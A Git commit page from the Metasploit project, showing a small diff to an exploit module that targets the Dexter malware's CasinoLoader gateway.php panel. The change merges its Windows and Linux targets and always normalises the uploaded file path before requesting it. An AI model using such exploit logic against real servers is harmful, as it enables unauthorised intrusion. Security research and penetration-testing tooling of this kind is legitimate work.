Land #3011, @wchen-r7's fix for Dexter exploit

bug/bundler_fix
jvazquez-r7 2014-02-24 10:53:10 -06:00
commit c981bbeab9
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 3 additions and 5 deletions

View File

@ -41,10 +41,10 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_PHP,
'Targets' =>
[
['CasinoLoader gateway.php on Windows', {}],
['CasinoLoader gateway.php on Linux', {}]
['CasinoLoader gateway.php', {}]
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => "Feb 08 2014"
))
@ -157,9 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
path = $1
if target.name =~ /Linux/
path = path.sub! "\\", "/"
end
path = path.sub! "\\", "/"
target_path = normalize_uri(target_uri.path, path)
print_status("#{peer} - Requesting: #{target_path}")
send_request_raw({'uri' => normalize_uri(target_path)})